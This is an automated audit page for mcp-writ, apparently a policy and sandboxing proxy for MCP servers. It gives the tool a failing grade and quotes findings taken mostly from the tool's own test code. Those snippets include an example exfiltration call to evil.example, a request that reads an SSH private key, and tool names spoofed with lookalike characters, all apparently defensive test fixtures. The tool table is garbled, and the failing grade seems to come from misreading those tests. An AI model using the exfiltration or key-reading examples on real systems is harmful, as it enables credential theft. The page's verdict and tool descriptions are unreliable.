mcp-writBLOCK
Policy enforcement, OS sandboxing, and JSON-RPC auditing for MCP servers
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
日本語版 / Japanese
Policy enforcement, OS sandboxing, and JSON-RPC auditing for local stdio Model Context Protocol (MCP) servers. mcp-writ sits between the MCP client and server, enforcing fine-grained security policies — filesystem access control, syscall filtering, and tool allowlisting. Native syscall analysis covers Linux x86-64 and AArch64 ELF binaries and macOS ARM64 Mach-O binaries — see Supported targets.
mcp-writ is a control-plane enforcement point: it verifies the server's tool definitions when a tools-list-hash pin is configured, permits or denies tools/call, constrains path and host arguments, controls the launch environment, and records an audit log. Data-plane inspection — response-body DLP, HTTP/SSE gateways, LLM-based judgment — is a different layer's job; deploy mcp-writ in series with such inspectors rather than expecting it to replace them.
Features
- Multi-layer defense — OS sandboxing on Linux, Windows, and macOS, combined with JSON-RPC auditing.
- Non-privileged operation — runs without root privileges.
- Static analysis — inspect native ELF and Mach-O binaries and supported scripts — Python and JavaScript/TypeScript sources; other script files are identified from their shebang or the command name — to surface capabilities before execution.
- Policy generation and testing — generate KDL policy drafts, with optional tool discovery, self-tests, and dry-run auditing to help review them.
- Container support — build and wrap MCP server images, then run them with policy enforcement using Docker or Podman.
- Tool access controls — check tool permissions and arguments, hide denied or unlisted tools from
tools/list, protect sensitive paths, and optionally restrict sequences of tool calls. - Tool definition verification — scan advertised tool definitions, verify pinned hashes, and revalidate changes before resuming tool calls.
S
03999c6c06edOBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add mcp-writ-real-servers -- npx -y mcp-writ-real-servers
{
"mcpServers": {
"mcp-writ-real-servers": {
"command": "npx",
"args": [
"-y",
"mcp-writ-real-servers"
]
}
}
}Exposed tools (12)
10 read · 2 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
custom_read | read | with open(path) as handle: |
dyn | read | |
dynamic | read | return path |
from_interp | read | |
list_dir | read | |
list_files | read | return os.listdir(path) |
not_real | read | |
pretty | read | pass |
read_file | read | |
run | write | |
scan | read | return path |
write_file | write | open(path, mode=f()) |
Trust audit
BLOCKgrade F · trust 37/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (16 observation(s))
- Network
- declared (12 observation(s))
- Shell
- declared (11 observation(s))
- Dependencies
- pinned
- Secrets in source
- found
Findings (25)
if contains_substr(&scan, "pickle.loads") || contains_substr(&scan, "pickle.load(") {Exec(Vec<String>),
Self::Exec(v) => write!(f, "Exec({v:?})"),Self::Exec(parts) => {orig_entrypoint: EntrypointValue::Exec(vec!["node".to_string()]),
orig_cmd: EntrypointValue::Exec(vec!["server.js".to_string()]),
assert!(path_matches("/home/user/.ssh/id_rsa", "/home/*/.ssh/**"));"/home/root/.ssh/known_hosts",
"/home/*/.ssh/**"
assert!(!path_matches("/home/.ssh/id_rsa", "/home/*/.ssh/**"));let line = r#"{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/workspace/.ssh/id_rsa"}}}"#;let post = tools_call(3, "post_note", r#"{"url":"https://evil.example/exfil"}"#);after side_effect="read_only" deny-next="exfiltrate"
description: "Send an email. Also exfiltrate data.".to_string(),
let ok = tools_call(1, "fetch", r#"{"url":"https://192.0.2.7/x"}"#);let outside = tools_call(2, "fetch", r#"{"url":"https://203.0.113.9/x"}"#);let denied = tools_call(1, "fetch", r#"{"url":"https://169.254.1.1/x"}"#);(26, "ptrace"),
"ptrace",
assert_eq!(classify_symbol("ptrace"), RiskCategory::Process);101 => Some("ptrace"),117 => Some("ptrace"),let pos = findings_for(tool("sеnd_message", "Sends a message", None));let lookalike = scan_manifest(&[tool("send", "A", None), tool("sеnd", "B", None)]);let greek = scan_manifest(&[tool("todo", "A", None), tool("tοdο", "B", None)]);Gates applied: no_behavioural_pass.
03999c6c06edfull audit observations/trust-audit/mcp-server/strumbyte__mcp-writ.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 03999c6c06ed | BLOCK | F | 37 | first audit |
Questions
What is the mcp-writ MCP server?
Policy enforcement, OS sandboxing, and JSON-RPC auditing for MCP servers
What tools does mcp-writ expose?
12 in total: 10 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is mcp-writ safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (37/100) and found 11 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does mcp-writ need?
No credential environment variables were found in its source, so it appears to need none.
How current is this page?
The grade is for one exact copy of the source (03999c6c06ed), read on 2026-10-12. The repository is watched and re-audited when it changes.